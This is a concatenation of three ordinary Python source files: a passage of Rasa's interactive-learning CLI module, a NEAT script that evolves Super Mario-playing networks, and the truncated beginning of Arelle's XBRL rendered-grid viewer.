_selection_choices_from_intent_prediction(predictions) intent_name = await _request_selection_from_intent_list( choices, sender_id, endpoint ) if intent_name == OTHER_INTENT: intent_name = await _request_free_text_intent(sender_id, endpoint) return {"name": intent_name, "confidence": 1.0} # returns the selected intent with the original probability value return next((x for x in predictions if x["name"] == intent_name), None) async def _print_history(sender_id: Text, endpoint: EndpointConfig) -> None: """Print information about the conversation for the user.""" tracker_dump = await retrieve_tracker( endpoint, sender_id, EventVerbosity.AFTER_RESTART ) evts = tracker_dump.get("events", []) table = _chat_history_table(evts) slot_strs = _slot_history(tracker_dump) print ("------") print ("Chat History\n") print (table) if slot_strs: print ("\n") print ("Current slots: \n\t{}\n".format(", ".join(slot_strs))) print ("------") def _chat_history_table(evts: List[Dict[Text, Any]]) -> Text: """Create a table containing bot and user messages. Also includes additional information, like any events and prediction probabilities.""" def wrap(txt, max_width): return "\n".join(textwrap.wrap(txt, max_width, replace_whitespace=False)) def colored(txt, color): return "{" + color + "}" + txt + "{/" + color + "}" def format_user_msg(user_evt, max_width): _parsed = user_evt.get("parse_data", {}) _intent = _parsed.get("intent", {}).get("name") _confidence = _parsed.get("intent", {}).get("confidence", 1.0) _md = _as_md_message(_parsed) _lines = [ colored(wrap(_md, max_width), "hired"), "intent: {} {:03.2f}".format(_intent, _confidence), ] return "\n".join(_lines) def bot_width(_table: AsciiTable) -> int: return _table.column_max_width(1) def user_width(_table: AsciiTable) -> int: return _table.column_max_width(3) def add_bot_cell(data, cell): data.append([len(data), Color(cell), "", ""]) def add_user_cell(data, cell): data.append([len(data), "", "", Color(cell)]) # prints the historical interactions between the bot and the user, # to help with correctly identifying the action table_data = [ [ "# ", Color(colored("Bot ", "autoblue")), " ", Color(colored("You ", "hired")), ] ] table = SingleTable(table_data, "Chat History") bot_column = [] for idx, evt in enumerate(evts): if evt.get("event") == ActionExecuted.type_name: bot_column.append(colored(evt["name"], "autocyan")) if evt["confidence"] is not None: bot_column[-1] += colored( " {:03.2f}".format(evt["confidence"]), "autowhite" ) elif evt.get("event") == UserUttered.type_name: if bot_column: text = "\n".join(bot_column) add_bot_cell(table_data, text) bot_column = [] msg = format_user_msg(evt, user_width(table)) add_user_cell(table_data, msg) elif evt.get("event") == BotUttered.type_name: wrapped = wrap(format_bot_output(evt), bot_width(table)) bot_column.append(colored(wrapped, "autoblue")) else: e = Event.from_parameters(evt) if e.as_story_string(): bot_column.append(wrap(e.as_story_string(), bot_width(table))) if bot_column: text = "\n".join(bot_column) add_bot_cell(table_data, text) table.inner_heading_row_border = False table.inner_row_border = True table.inner_column_border = False table.outer_border = False table.justify_columns = {0: "left", 1: "left", 2: "center", 3: "right"} return table.table def _slot_history(tracker_dump: Dict[Text, Any]) -> List[Text]: """Create an array of slot representations to be displayed.""" slot_strs = [] for k, s in tracker_dump.get("slots").items(): colored_value = cliutils.wrap_with_color( str(s), color=rasa.cli.utils.bcolors.WARNING ) slot_strs.append("{}: {}".format(k, colored_value)) return slot_strs async def _write_data_to_file(sender_id: Text, endpoint: EndpointConfig): """Write stories and nlu data to file.""" story_path, nlu_path, domain_path = _request_export_info() tracker = await retrieve_tracker(endpoint, sender_id) evts = tracker.get("events", []) await _write_stories_to_file(story_path, evts) await _write_nlu_to_file(nlu_path, evts) await _write_domain_to_file(domain_path, evts, endpoint) logger.info("Successfully wrote stories and NLU data") async def _ask_if_quit(sender_id: Text, endpoint: EndpointConfig) -> bool: """Display the exit menu. Return `True` if the previous question should be retried.""" answer = questionary.select( message="Do you want to stop?", choices=[ Choice("Continue", "continue"), Choice("Undo Last", "undo"), Choice("Fork", "fork"), Choice("Start Fresh", "restart"), Choice("Export & Quit", "quit"), ], ).ask() if not answer or answer == "quit": # this is also the default answer if the user presses Ctrl-C await _write_data_to_file(sender_id, endpoint) raise Abort() elif answer == "continue": # in this case we will just return, and the original # question will get asked again return True elif answer == "undo": raise UndoLastStep() elif answer == "fork": raise ForkTracker() elif answer == "restart": raise RestartConversation() async def _request_action_from_user( predictions: List[Dict[Text, Any]], sender_id: Text, endpoint: EndpointConfig ) -> (Text, bool): """Ask the user to correct an action prediction.""" await _print_history(sender_id, endpoint) choices = [ { "name": "{:03.2f} {:40}".format(a.get("score"), a.get("action")), "value": a.get("action"), } for a in predictions ] tracker = await retrieve_tracker(endpoint, sender_id) events = tracker.get("events", []) session_actions_all = [a["name"] for a in _collect_actions(events)] session_actions_unique = list(set(session_actions_all)) old_actions = [action["value"] for action in choices] new_actions = [ {"name": action, "value": OTHER_ACTION + action} for action in session_actions_unique if action not in old_actions ] choices = ( [{"name": "<create new action>", "value": NEW_ACTION}] + new_actions + choices ) question = questionary.select("What is the next action of the bot?", choices) action_name = await _ask_questions(question, sender_id, endpoint) is_new_action = action_name == NEW_ACTION if is_new_action: # create new action action_name = await _request_free_text_action(sender_id, endpoint) if "utter_" in action_name: utter_message = await _request_free_text_utterance( sender_id, endpoint, action_name ) NEW_TEMPLATES[action_name] = {utter_message: ""} elif action_name[:32] == OTHER_ACTION: # action was newly created in the session, but not this turn is_new_action = True action_name = action_name[32:] print ("Thanks! The bot will now run {}.\n".format(action_name)) return action_name, is_new_action def _request_export_info() -> Tuple[Text, Text, Text]: """Request file path and export stories & nlu data to that path""" # export training data and quit questions = questionary.form( export_stories=questionary.text( message="Export stories to (if file exists, this " "will append the stories)", default=PATHS["stories"], ), export_nlu=questionary.text( message="Export NLU data to (if file exists, this will " "merge learned data with previous training examples)", default=PATHS["nlu"], ), export_domain=questionary.text( message="Export domain file to (if file exists, this " "will be overwritten)", default=PATHS["domain"], ), ) answers = questions.ask() if not answers: raise Abort() return (answers["export_stories"], answers["export_nlu"], answers["export_domain"]) def _split_conversation_at_restarts( evts: List[Dict[Text, Any]] ) -> List[List[Dict[Text, Any]]]: """Split a conversation at restart events. Returns an array of event lists, without the restart events.""" sub_conversations = [] current = [] for e in evts: if e.get("event") == "restart": if current: sub_conversations.append(current) current = [] else: current.append(e) if current: sub_conversations.append(current) return sub_conversations def _collect_messages(evts: List[Dict[Text, Any]]) -> List[Message]: """Collect the message text and parsed data from the UserMessage events into a list""" from rasa.nlu.extractors.duckling_http_extractor import DucklingHTTPExtractor from rasa.nlu.extractors.mitie_entity_extractor import MitieEntityExtractor from rasa.nlu.extractors.spacy_entity_extractor import SpacyEntityExtractor msgs = [] for evt in evts: if evt.get("event") == UserUttered.type_name: data = evt.get("parse_data") for entity in data.get("entities", []): excluded_extractors = [ DucklingHTTPExtractor.__name__, SpacyEntityExtractor.__name__, MitieEntityExtractor.__name__, ] logger.debug( "Exclude entity marking of following extractors" " {} when writing nlu data " "to file.".format(excluded_extractors) ) if entity.get("extractor") in excluded_extractors: data["entities"].remove(entity) msg = Message.build(data["text"], data["intent"]["name"], data["entities"]) msgs.append(msg) return msgs def _collect_actions(evts: List[Dict[Text, Any]]) -> List[Dict[Text, Any]]: """Collect all the `ActionExecuted` events into a list.""" return [evt for evt in evts if evt.get("event") == ActionExecuted.type_name] async def _write_stories_to_file( export_story_path: Text, evts: List[Dict[Text, Any]] ) -> None: """Write the conversation of the sender_id to the file paths.""" sub_conversations = _split_conversation_at_restarts(evts) with open(export_story_path, "a", encoding="utf-8") as f: for conversation in sub_conversations: parsed_events = events.deserialise_events(conversation) s = Story.from_events(parsed_events) f.write(s.as_story_string(flat=True) + "\n") async def _write_nlu_to_file( export_nlu_path: Text, evts: List[Dict[Text, Any]] ) -> None: """Write the nlu data of the sender_id to the file paths.""" from rasa.nlu.training_data import TrainingData msgs = _collect_messages(evts) # noinspection PyBroadException try: previous_examples = load_data(export_nlu_path) except Exception as e: logger.exception("An exception occurred while trying to load the NLU data.") export_nlu_path = questionary.text( message="Could not load existing NLU data, please " "specify where to store NLU data learned in " "this session (this will overwrite any " "existing file). {}".format(str(e)), default=PATHS["backup"], ).ask() if export_nlu_path is None: return previous_examples = TrainingData() nlu_data = previous_examples.merge(TrainingData(msgs)) # need to guess the format of the file before opening it to avoid a read # in a write if _guess_format(export_nlu_path) in {"md", "unk"}: fformat = "md" else: fformat = "json" with open(export_nlu_path, "w", encoding="utf-8") as f: if fformat == "md": f.write(nlu_data.as_markdown()) else: f.write(nlu_data.as_json()) def _entities_from_messages(messages): """Return all entities that occur in atleast one of the messages.""" return list({e["entity"] for m in messages for e in m.data.get("entities", [])}) def _intents_from_messages(messages): """Return all intents that occur in at least one of the messages.""" # set of distinct intents intents = {m.data["intent"] for m in messages if "intent" in m.data} return [{i: {"use_entities": True}} for i in intents] async def _write_domain_to_file( domain_path: Text, evts: List[Dict[Text, Any]], endpoint: EndpointConfig ) -> None: """Write an updated domain file to the file path.""" domain = await retrieve_domain(endpoint) old_domain = Domain.from_dict(domain) messages = _collect_messages(evts) actions = _collect_actions(evts) templates = NEW_TEMPLATES # TODO for now there is no way to distinguish between action and form intent_properties = Domain.collect_intent_properties( _intents_from_messages(messages) ) collected_actions = list( {e["name"] for e in actions if e["name"] not in default_action_names()} ) new_domain = Domain( intent_properties=intent_properties, entities=_entities_from_messages(messages), slots=[], templates=templates, action_names=collected_actions, form_names=[], ) old_domain.merge(new_domain).persist_clean(domain_path) async def _predict_till_next_listen( endpoint: EndpointConfig, sender_id: Text, finetune: bool, sender_ids: List[Text], plot_file: Optional[Text], ) -> None: """Predict and validate actions until we need to wait for a user msg.""" listen = False while not listen: result = await request_prediction(endpoint, sender_id) predictions = result.get("scores") probabilities = [prediction["score"] for prediction in predictions] pred_out = int(np.argmax(probabilities)) action_name = predictions[pred_out].get("action") policy = result.get("policy") confidence = result.get("confidence") await _print_history(sender_id, endpoint) await _plot_trackers( sender_ids, plot_file, endpoint, unconfirmed=[ActionExecuted(action_name)] ) listen = await _validate_action( action_name, policy, confidence, predictions, endpoint, sender_id, finetune=finetune, ) await _plot_trackers(sender_ids, plot_file, endpoint) async def _correct_wrong_nlu( corrected_nlu: Dict[Text, Any], evts: List[Dict[Text, Any]], endpoint: EndpointConfig, sender_id: Text, ) -> None: """A wrong NLU prediction got corrected, update core's tracker.""" latest_message = latest_user_message(evts) corrected_events = all_events_before_latest_user_msg(evts) latest_message["parse_data"] = corrected_nlu await replace_events(endpoint, sender_id, corrected_events) await send_message( endpoint, sender_id, latest_message.get("text"), latest_message.get("parse_data"), ) async def _correct_wrong_action( corrected_action: Text, endpoint: EndpointConfig, sender_id: Text, finetune: bool = False, is_new_action: bool = False, ) -> None: """A wrong action prediction got corrected, update core's tracker.""" result = await send_action( endpoint, sender_id, corrected_action, is_new_action=is_new_action ) if finetune: await send_finetune(endpoint, result.get("tracker", {}).get("events", [])) def _form_is_rejected(action_name, tracker): """Check if the form got rejected with the most recent action name.""" return ( tracker.get("active_form", {}).get("name") and action_name != tracker["active_form"]["name"] and action_name != ACTION_LISTEN_NAME ) def _form_is_restored(action_name, tracker): """Check whether the form is called again after it was rejected.""" return ( tracker.get("active_form", {}).get("rejected") and tracker.get("latest_action_name") == ACTION_LISTEN_NAME and action_name == tracker.get("active_form", {}).get("name") ) async def _confirm_form_validation(action_name, tracker, endpoint, sender_id): """Ask a user whether an input for a form should be validated. Previous to this call, the active form was chosen after it was rejected.""" requested_slot = tracker.get("slots", {}).get(REQUESTED_SLOT) validation_questions = questionary.confirm( "Should '{}' validate user input to fill " "the slot '{}'?".format(action_name, requested_slot) ) validate_input = await _ask_questions(validation_questions, sender_id, endpoint) if not validate_input: # notify form action to skip validation await send_event( endpoint, sender_id, {"event": "form_validation", "validate": False} ) elif not tracker.get("active_form", {}).get("validate"): # handle contradiction with learned behaviour warning_question = questionary.confirm( "ERROR: FormPolicy predicted no form validation " "based on previous training stories. " "Make sure to remove contradictory stories " "from training data. " "Otherwise predicting no form validation " "will not work as expected." ) await _ask_questions(warning_question, sender_id, endpoint) # notify form action to validate an input await send_event( endpoint, sender_id, {"event": "form_validation", "validate": True} ) async def _validate_action( action_name: Text, policy: Text, confidence: float, predictions: List[Dict[Text, Any]], endpoint: EndpointConfig, sender_id: Text, finetune: bool = False, ) -> bool: """Query the user to validate if an action prediction is correct. Returns `True` if the prediction is correct, `False` otherwise.""" question = questionary.confirm( "The bot wants to run '{}', correct?".format(action_name) ) is_correct = await _ask_questions(question, sender_id, endpoint) if not is_correct: action_name, is_new_action = await _request_action_from_user( predictions, sender_id, endpoint ) else: is_new_action = False tracker = await retrieve_tracker(endpoint, sender_id, EventVerbosity.AFTER_RESTART) if _form_is_rejected(action_name, tracker): # notify the tracker that form was rejected await send_event( endpoint, sender_id, { "event": "action_execution_rejected", "name": tracker["active_form"]["name"], }, ) elif _form_is_restored(action_name, tracker): await _confirm_form_validation(action_name, tracker, endpoint, sender_id) if not is_correct: await _correct_wrong_action( action_name, endpoint, sender_id, finetune=finetune, is_new_action=is_new_action, ) else: await send_action(endpoint, sender_id, action_name, policy, confidence) return action_name == ACTION_LISTEN_NAME def _as_md_message(parse_data: Dict[Text, Any]) -> Text: """Display the parse data of a message in markdown format.""" from rasa.nlu.training_data.formats import MarkdownWriter if parse_data.get("text", "").startswith(INTENT_MESSAGE_PREFIX): return parse_data.get("text") if not parse_data.get("entities"): parse_data["entities"] = [] # noinspection PyProtectedMember return MarkdownWriter()._generate_message_md(parse_data) def _validate_user_regex(latest_message: Dict[Text, Any], intents: List[Text]) -> bool: """Validate if a users message input is correct. This assumes the user entered an intent directly, e.g. using `/greet`. Return `True` if the intent is a known one.""" parse_data = latest_message.get("parse_data", {}) intent = parse_data.get("intent", {}).get("name") if intent in intents: return True else: return False async def _validate_user_text( latest_message: Dict[Text, Any], endpoint: EndpointConfig, sender_id: Text ) -> bool: """Validate a user message input as free text. This assumes the user message is a text message (so NOT `/greet`).""" parse_data = latest_message.get("parse_data", {}) text = _as_md_message(parse_data) intent = parse_data.get("intent", {}).get("name") entities = parse_data.get("entities", []) if entities: message = ( "Is the intent '{}' correct for '{}' and are " "all entities labeled correctly?".format(intent, text) ) else: message = ( "Your NLU model classified '{}' with intent '{}'" " and there are no entities, is this correct?".format(text, intent) ) if intent is None: print ("The NLU classification for '{}' returned '{}'".format(text, intent)) return False else: question = questionary.confirm(message) return await _ask_questions(question, sender_id, endpoint) async def _validate_nlu( intents: List[Text], endpoint: EndpointConfig, sender_id: Text ) -> None: """Validate if a user message, either text or intent is correct. If the prediction of the latest user message is incorrect, the tracker will be corrected with the correct intent / entities.""" tracker = await retrieve_tracker(endpoint, sender_id, EventVerbosity.AFTER_RESTART) latest_message = latest_user_message(tracker.get("events", [])) if latest_message.get("text").startswith(INTENT_MESSAGE_PREFIX): valid = _validate_user_regex(latest_message, intents) else: valid = await _validate_user_text(latest_message, endpoint, sender_id) if not valid: corrected_intent = await _request_intent_from_user( latest_message, intents, sender_id, endpoint ) evts = tracker.get("events", []) entities = await _correct_entities(latest_message, endpoint, sender_id) corrected_nlu = { "intent": corrected_intent, "entities": entities, "text": latest_message.get("text"), } await _correct_wrong_nlu(corrected_nlu, evts, endpoint, sender_id) async def _correct_entities( latest_message: Dict[Text, Any], endpoint: EndpointConfig, sender_id: Text ) -> List[Dict[Text, Any]]: """Validate the entities of a user message. Returns the corrected entities""" from rasa.nlu.training_data.formats import MarkdownReader parse_original = latest_message.get("parse_data", {}) entity_str = _as_md_message(parse_original) question = questionary.text( "Please mark the entities using [value](type) notation", default=entity_str ) annotation = await _ask_questions(question, sender_id, endpoint) # noinspection PyProtectedMember parse_annotated = MarkdownReader()._parse_training_example(annotation) corrected_entities = _merge_annotated_and_original_entities( parse_annotated, parse_original ) return corrected_entities def _merge_annotated_and_original_entities(parse_annotated, parse_original): # overwrite entities which have already been # annotated in the original annotation to preserve # additional entity parser information entities = parse_annotated.get("entities", [])[:] for i, entity in enumerate(entities): for original_entity in parse_original.get("entities", []): if _is_same_entity_annotation(entity, original_entity): entities[i] = original_entity break return entities def _is_same_entity_annotation(entity, other): return entity["value"] == other["value"] and entity["entity"] == other["entity"] async def _enter_user_message(sender_id: Text, endpoint: EndpointConfig) -> None: """Request a new message from the user.""" question = questionary.text("Your input ->") message = await _ask_questions(question, sender_id, endpoint, lambda a: not a) if message == (INTENT_MESSAGE_PREFIX + constants.USER_INTENT_RESTART): raise RestartConversation() await send_message(endpoint, sender_id, message) async def is_listening_for_message(sender_id: Text, endpoint: EndpointConfig) -> bool: """Check if the conversation is in need for a user message.""" tracker = await retrieve_tracker(endpoint, sender_id, EventVerbosity.APPLIED) for i, e in enumerate(reversed(tracker.get("events", []))): if e.get("event") == UserUttered.type_name: return False elif e.get("event") == ActionExecuted.type_name: return e.get("name") == ACTION_LISTEN_NAME return False async def _undo_latest(sender_id: Text, endpoint: EndpointConfig) -> None: """Undo either the latest bot action or user message, whatever is last.""" tracker = await retrieve_tracker(endpoint, sender_id, EventVerbosity.ALL) cutoff_index = None for i, e in enumerate(reversed(tracker.get("events", []))): if e.get("event") in {ActionExecuted.type_name, UserUttered.type_name}: cutoff_index = i break elif e.get("event") == Restarted.type_name: break if cutoff_index is not None: events_to_keep = tracker["events"][: -(cutoff_index + 1)] # reset the events of the conversation to the events before # the most recent bot or user event await replace_events(endpoint, sender_id, events_to_keep) async def _fetch_events( sender_ids: List[Union[Text, List[Event]]], endpoint: EndpointConfig ) -> List[List[Event]]: """Retrieve all event trackers from the endpoint for all sender ids.""" event_sequences = [] for sender_id in sender_ids: if isinstance(sender_id, str): tracker = await retrieve_tracker(endpoint, sender_id) evts = tracker.get("events", []) for conversation in _split_conversation_at_restarts(evts): parsed_events = events.deserialise_events(conversation) event_sequences.append(parsed_events) else: event_sequences.append(sender_id) return event_sequences async def _plot_trackers( sender_ids: List[Union[Text, List[Event]]], output_file: Optional[Text], endpoint: EndpointConfig, unconfirmed: Optional[List[Event]] = None, ): """Create a plot of the trackers of the passed sender ids. This assumes that the last sender id is the conversation we are currently working on. If there are events that are not part of this active tracker yet, they can be passed as part of `unconfirmed`. They will be appended to the currently active conversation.""" if not output_file or not sender_ids: # if there is no output file provided, we are going to skip plotting # same happens if there are no sender ids return None event_sequences = await _fetch_events(sender_ids, endpoint) if unconfirmed: event_sequences[-1].extend(unconfirmed) graph = await visualize_neighborhood( event_sequences[-1], event_sequences, output_file=None, max_history=2 ) from networkx.drawing.nx_pydot import write_dot write_dot(graph, output_file) def _print_help(skip_visualization: bool) -> None: """Print some initial help message for the user.""" if not skip_visualization: visualization_url = DEFAULT_SERVER_FORMAT.format(DEFAULT_SERVER_PORT + 1) visualization_help = "Visualisation at {}/visualization.html.".format( visualization_url ) else: visualization_help = "" rasa.cli.utils.print_success( "Bot loaded. {}\n" "Type a message and press enter " "(press 'Ctr-c' to exit). " "".format(visualization_help) ) async def record_messages( endpoint: EndpointConfig, sender_id: Text = UserMessage.DEFAULT_SENDER_ID, max_message_limit: Optional[int] = None, finetune: bool = False, stories: Optional[Text] = None, skip_visualization: bool = False, ): """Read messages from the command line and print bot responses.""" from rasa.core import training try: _print_help(skip_visualization) try: domain = await retrieve_domain(endpoint) except ClientError: logger.exception( "Failed to connect to Rasa Core server at '{}'. " "Is the server running?".format(endpoint.url) ) return trackers = await training.load_data( stories, Domain.from_dict(domain), augmentation_factor=0, use_story_concatenation=False, ) intents = [next(iter(i)) for i in (domain.get("intents") or [])] num_messages = 0 sender_ids = [t.events for t in trackers] + [sender_id] if not skip_visualization: plot_file = "story_graph.dot" await _plot_trackers(sender_ids, plot_file, endpoint) else: plot_file = None while not utils.is_limit_reached(num_messages, max_message_limit): try: if await is_listening_for_message(sender_id, endpoint): await _enter_user_message(sender_id, endpoint) await _validate_nlu(intents, endpoint, sender_id) await _predict_till_next_listen( endpoint, sender_id, finetune, sender_ids, plot_file ) num_messages += 1 except RestartConversation: await send_event(endpoint, sender_id, Restarted().as_dict()) await send_event( endpoint, sender_id, ActionExecuted(ACTION_LISTEN_NAME).as_dict() ) logger.info("Restarted conversation, starting a new one.") except UndoLastStep: await _undo_latest(sender_id, endpoint) await _print_history(sender_id, endpoint) except ForkTracker: await _print_history(sender_id, endpoint) evts_fork = await _request_fork_from_user(sender_id, endpoint) await send_event(endpoint, sender_id, Restarted().as_dict()) if evts_fork: for evt in evts_fork: await send_event(endpoint, sender_id, evt) logger.info("Restarted conversation at fork.") await _print_history(sender_id, endpoint) await _plot_trackers(sender_ids, plot_file, endpoint) except Abort: return except Exception: logger.exception("An exception occurred while recording messages.") raise def _serve_application(app, stories, finetune, skip_visualization): """Start a core server and attach the interactive learning IO.""" endpoint = EndpointConfig(url=DEFAULT_SERVER_URL) async def run_interactive_io(running_app: Sanic): """Small wrapper to shut down the server once cmd io is done.""" await record_messages( endpoint=endpoint, stories=stories, finetune=finetune, skip_visualization=skip_visualization, sender_id=uuid.uuid4().hex, ) logger.info("Killing Sanic server now.") running_app.stop() # kill the sanic server app.add_task(run_interactive_io) app.run(host="0.0.0.0", port=DEFAULT_SERVER_PORT, access_log=True) return app def start_visualization(image_path: Text = None) -> None: """Add routes to serve the conversation visualization files.""" app = Sanic(__name__) # noinspection PyUnusedLocal @app.exception(NotFound) async def ignore_404s(request, exception): return response.text("Not found", status=404) # noinspection PyUnusedLocal @app.route(VISUALIZATION_TEMPLATE_PATH, methods=["GET"]) def visualisation_html(request): return response.file(visualization.visualization_html_path()) # noinspection PyUnusedLocal @app.route("/visualization.dot", methods=["GET"]) def visualisation_png(request): try: headers = {"Cache-Control": "no-cache"} return response.file(os.path.abspath(image_path), headers=headers) except FileNotFoundError: return response.text("", 404) app.run(host="0.0.0.0", port=DEFAULT_SERVER_PORT + 1, access_log=False) # noinspection PyUnusedLocal async def train_agent_on_start(args, endpoints, additional_arguments, app, loop): _interpreter = NaturalLanguageInterpreter.create(args.get("nlu"), endpoints.nlu) model_directory = args.get("out", tempfile.mkdtemp(suffix="_core_model")) _agent = await train( args.get("domain"), args.get("stories"), model_directory, _interpreter, endpoints, args.get("dump_stories"), args.get("config")[0], None, additional_arguments, ) app.agent = _agent async def wait_til_server_is_running(endpoint, max_retries=30, sleep_between_retries=1): """Try to reach the server, retry a couple of times and sleep in between.""" while max_retries: try: r = await retrieve_status(endpoint) logger.info("Reached core: {}".format(r)) if not r.get("is_ready"): # server did not finish loading the agent yet # in this case, we need to wait till the model trained # so we might be sleeping for a while... await asyncio.sleep(sleep_between_retries) continue else: # server is ready to go return True except ClientError: max_retries -= 1 if max_retries: await asyncio.sleep(sleep_between_retries) return False def run_interactive_learning( stories: Text = None, finetune: bool = False, skip_visualization: bool = False, server_args: Dict[Text, Any] = None, additional_arguments: Dict[Text, Any] = None, ): """Start the interactive learning with the model of the agent.""" server_args = server_args or {} if server_args.get("nlu_data"): PATHS["nlu"] = server_args["nlu_data"] if server_args.get("stories"): PATHS["stories"] = server_args["stories"] if server_args.get("domain"): PATHS["domain"] = server_args["domain"] if not skip_visualization: p = Process(target=start_visualization, args=("story_graph.dot",)) p.deamon = True p.start() else: p = None app = run.configure_app(enable_api=True) endpoints = AvailableEndpoints.read_endpoints(server_args.get("endpoints")) # before_server_start handlers make sure the agent is loaded before the # interactive learning IO starts if server_args.get("core"): app.register_listener( partial( run.load_agent_on_start, server_args.get("core"), endpoints, server_args.get("nlu"), ), "before_server_start", ) else: app.register_listener( partial(train_agent_on_start, server_args, endpoints, additional_arguments), "before_server_start", ) _serve_application(app, stories, finetune, skip_visualization) if not skip_visualization: p.terminate() p.join()
mario.py
import os import neat import gym, ppaquette_gym_super_mario import pickle import multiprocessing as mp import warnings import time warnings.filterwarnings("ignore") level = 'ppaquette/SuperMarioBros-1-1-Tiles-v0' gym.logger.set_level(40) class Mario: def __init__(self): self.actions = [[0, 0, 0, 1, 0, 1],[0, 0, 0, 1, 1, 1],[1, 0, 0, 1, 0, 1],[1, 0, 0, 1, 1, 1],] def calc_fitness(self, genome, config, o): env = gym.make(level) state = env.reset() net = neat.nn.FeedForwardNetwork.create(genome, config) done = False c = 0 old = 40 while not done: time.sleep(0.01) state = state.flatten() output = net.activate(state) output = self.actions[output.index(max(output))] state,reward,done,info = env.step(output) c += 1 if c%50==0: if old == info['distance']: break else: old = info['distance'] fitness = -1 if info['distance'] <= 40 else info['distance'] if fitness >= 3252: pickle.dump(genome, open("finisher.pkl", "wb")) env.close() exit() o.put(fitness) print("Distance travelled: "+str(info['distance'])) env.close() def eval_genomes(self, genomes, config): idx,genomes = zip(*genomes) for i in range(0,len(genomes),1): output = mp.Queue() operations = [mp.Process(target=self.calc_fitness, args=(genome,config,output)) for genome in genomes[i:i+1]] [j.start() for j in operations] [j.join() for j in operations] sol = [output.get() for j in operations] for x,y in enumerate(sol): genomes[i+x].fitness = y def play_mario(self, config_file, w): config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,neat.DefaultSpeciesSet, neat.DefaultStagnation,config_file) p = neat.Population(config) p.add_reporter(neat.StdOutReporter(True)) p.add_reporter(neat.Checkpointer(5)) stats_reporter = neat.StatisticsReporter() p.add_reporter(stats_reporter) winner = p.run(self.eval_genomes, w) real_winner = p.best_genome pickle.dump(winner, open('winner.pkl', 'wb')) pickle.dump(real_winner, open('real_winner.pkl', 'wb')) def main(self, config_file='config'): local_dir = os.path.dirname(__file__) config_path = os.path.join(local_dir, config_file) self.play_mario(config_path, 1000) mario = Mario() mario.main()
ViewWinRenderedGrid.py
''' Created on Oct 5, 2010 @author: Mark V Systems Limited (c) Copyright 2010 Mark V Systems Limited, All rights reserved. ''' import os, threading, time from tkinter import Menu, BooleanVar from arelle import (ViewWinGrid, ModelDocument, ModelDtsObject, ModelInstanceObject, XbrlConst, ModelXbrl, XmlValidate, Locale) from arelle.ModelValue import qname, QName from arelle.ViewUtilRenderedGrid import (resolveAxesStructure, inheritedAspectValue) from arelle.ModelFormulaObject import Aspect, aspectModels, aspectRuleAspects, aspectModelAspect from arelle.ModelInstanceObject import ModelDimensionValue from arelle.ModelRenderingObject import ModelClosedDefinitionNode, ModelEuAxisCoord, ModelTable from arelle.FormulaEvaluator import aspectMatches from arelle.PrototypeInstanceObject import FactPrototype from arelle.UiUtil import (gridBorder, gridSpacer, gridHdr, gridCell, gridCombobox, label, TOPBORDER, LEFTBORDER, RIGHTBORDER, BOTTOMBORDER, CENTERCELL) from arelle.DialogNewFactItem import getNewFactItemOptions from collections import defaultdict emptyList = [] def viewRenderedGrid(modelXbrl, tabWin, lang=None): modelXbrl.modelManager.showStatus(_("viewing rendering")) view = ViewRenderedGrid(modelXbrl, tabWin, lang) view.blockMenuEvents = 1 menu = view.contextMenu() optionsMenu = Menu(view.viewFrame, tearoff=0) optionsMenu.add_command(label=_("New fact item options"), underline=0, command=lambda: getNewFactItemOptions(modelXbrl.modelManager.cntlr, view.newFactItemOptions)) view.ignoreDimValidity.trace("w", view.viewReloadDueToMenuAction) optionsMenu.add_checkbutton(label=_("Ignore Dimensional Validity"), underline=0, variable=view.ignoreDimValidity, onvalue=True, offvalue=False) view.xAxisChildrenFirst.trace("w", view.viewReloadDueToMenuAction) optionsMenu.add_checkbutton(label=_("X-Axis Children First"), underline=0, variable=view.xAxisChildrenFirst, onvalue=True, offvalue=False) view.yAxisChildrenFirst.trace("w", view.viewReloadDueToMenuAction) optionsMenu.add_checkbutton(label=_("Y-Axis Children First"), underline=0, variable=view.yAxisChildrenFirst, onvalue=True, offvalue=False) menu.add_cascade(label=_("Options"), menu=optionsMenu, underline=0) view.tablesMenu = Menu(view.viewFrame, tearoff=0) menu.add_cascade(label=_("Tables"), menu=view.tablesMenu, underline=0) view.tablesMenuLength = 0 view.menuAddLangs() saveMenu = Menu(view.viewFrame, tearoff=0) saveMenu.add_command(label=_("HTML file"), underline=0, command=lambda: view.modelXbrl.modelManager.cntlr.fileSave(view=view, fileType="html")) saveMenu.add_command(label=_("Table layout infoset"), underline=0, command=lambda: view.modelXbrl.modelManager.cntlr.fileSave(view=view, fileType="xml")) saveMenu.add_command(label=_("XBRL instance"), underline=0, command=view.saveInstance) menu.add_cascade(label=_("Save"), menu=saveMenu, underline=0) view.view() view.blockSelectEvent = 1 view.blockViewModelObject = 0 view.viewFrame.bind("<Enter>", view.cellEnter, '+') view.viewFrame.bind("<Leave>", view.cellLeave, '+') view.viewFrame.bind("<1>", view.onClick, '+') view.blockMenuEvents = 0 class ViewRenderedGrid(ViewWinGrid.ViewGrid): def __init__(self, modelXbrl, tabWin, lang): super(ViewRenderedGrid, self).__init__(modelXbrl, tabWin, "Table", True, lang) self.newFactItemOptions = ModelInstanceObject.NewFactItemOptions(xbrlInstance=modelXbrl) self.factPrototypes = [] self.zOrdinateChoices = None # context menu Boolean vars self.options = self.modelXbrl.modelManager.cntlr.config.setdefault("viewRenderedGridOptions", {}) self.ignoreDimValidity = BooleanVar(value=self.options.setdefault("ignoreDimValidity",True)) self.xAxisChildrenFirst = BooleanVar(value=self.options.setdefault("xAxisChildrenFirst",True)) self.yAxisChildrenFirst = BooleanVar(value=self.options.setdefault("yAxisChildrenFirst",False)) def close(self): super(ViewRenderedGrid, self).close() if self.modelXbrl: for fp in self.factPrototypes: fp.clear() self.factPrototypes = None def loadTablesMenu(self): tblMenuEntries = {} tblRelSet = self.modelXbrl.relationshipSet("Table-rendering") self.tablesToELR = {} for tblLinkroleUri in tblRelSet.linkRoleUris: for tableAxisArcrole in (XbrlConst.euTableAxis, XbrlConst.tableBreakdown, XbrlConst.tableBreakdownMMDD, XbrlConst.tableBreakdown201305, XbrlConst.tableBreakdown201301, XbrlConst.tableAxis2011): tblAxisRelSet = self.modelXbrl.relationshipSet(tableAxisArcrole, tblLinkroleUri) if tblAxisRelSet and len(tblAxisRelSet.modelRelationships) > 0: # table name modelRoleTypes = self.modelXbrl.roleTypes.get(tblLinkroleUri) if modelRoleTypes is not None and len(modelRoleTypes) > 0: roledefinition = modelRoleTypes[0].definition if roledefinition is None or roledefinition == "": roledefinition = os.path.basename(tblLinkroleUri) for table in 